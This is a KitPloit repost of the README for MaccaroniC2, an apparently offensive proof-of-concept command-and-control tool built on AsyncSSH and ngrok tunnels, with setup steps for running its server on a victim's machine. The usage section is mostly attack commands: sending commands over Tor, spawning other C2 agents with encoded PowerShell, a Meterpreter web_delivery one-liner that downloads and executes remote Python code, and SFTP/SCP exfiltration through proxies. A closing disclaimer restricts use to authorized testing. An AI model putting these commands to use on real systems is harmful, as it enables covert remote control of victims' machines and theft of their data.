☐ ☆ ✇ KitPloit - PenTest Tools!

MaccaroniC2 - A PoC Command And Control Framework That Utilizes The Powerful AsyncSSH

By: Zion3R — November 27th 2023 at 11:30


MaccaroniC2 is a proof-of-concept Command and Control framework that utilizes the powerful AsyncSSH Python library which provides an asynchronous client and server implementation of the SSHv2 protocol and use PyNgrok wrapper for ngrok integration. This tool is inspired for a specific scenario where the victim runs the AsyncSSH server and establishes a tunnel to the outside, ready to receive commands by the attacker.

The attacker leverages the Ngrok official API to retrieve the hostname and port of the tunnel to establish a connection. This approach takes advantage of the comprehensive capabilities provided by AsyncSSH, including its integrated support for SFTP and SCP, facilitating secure and efficient data exfiltration and more.

Moreover, the attacker can send and execute system commands using a SOCKS proxy, leveraging the benefits offered, for example, using TOR to enhance anonymity.

  • Ngrok free account only allows the usage of one tunnel at a time. With some changes this tool could be perfect for a BOT-like C&C framework to control multiple SSH instances, but you would need to upgrade your plan on the Ngrok website, see https://ngrok.com/pricing

Setup and Procedure

  1. Run python3 gen_rsa.py to generate a pair of SSH keys. The newly generated id_rsa is used by the attacker to connect to the server running on the victim's machine.

  2. Edit the asyncssh_server.py file and place the contents of the newly generated id_rsa.pub inside the pub_key variable. The asyncssh_server.py provide an implementation of the SSHv2 protocol with SFTP and SCP features. This is the script run by the victim.

  3. Create a free account on Ngrok site and take note of the AUTH Token.

  4. Add the AUTH token to the token variable in asyncssh_server.py, this needs to be harcoded inside the ngrok_tunnel() function.

  5. Create a free API key on the Ngrok website. Take note of the generated string.

  6. Put the API key string in the api_key variable inside the async_commander.py file. This allows us to automatically retrieve the Ngrok domain and port of the active tunnel during automation.

  7. Perform the same step for get_endpoints.py file. This script retrieves various useful information about active tunnels.

Send commands to server

With async_commander.py you can send any command to the server. It automatically requests the Ngrok tunnel's domain and port activated by the victim using Ngrok official API.

Please note also that the id_rsa needs to be in the same folder of async_commander.py

Basic Usage

Run server on victim machine:

python3 asyncssh_server.py


From the attacker machine send command using socks proxy:

python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050


Send command without using a proxy:

python3 asyncssh_commander.py "whoami"


Spawn another C2 agent (Powershell-Empire, Meterpreter, etc):

python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"

Meterpreter web_delivery module

python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""


Get list of active tunnels:

python3 get_endpoints.py


Generate new RSA key pairs:

python3 gen_rsa.py

Advanced Usage

Using SFTP and SCP - you don't need a valid username just the correct id_rsa

  • With proxy:

proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path


  • No proxy:

sftp -P PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path


Compiling with Nuitka

python -m pip install nuitka

python -m nuitka --standalone --onefile asyncssh_server.py


Weaponized server

https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py

For furter information check the related article: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/

DISCLAIMER: This tool is intended for testing and educational purposes only. It should only be used on systems with proper authorization. Any unauthorized or illegal use of this tool is strictly prohibited. The creator of this tool holds no responsibility for any misuse or damage caused by its usage. Please ensure compliance with applicable laws and regulations while utilizing this tool. Additionally, it’s important to note that the usage of Ngrok in conjunction with this tool may result in the violation of the terms of service or policies of certain platforms. It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.



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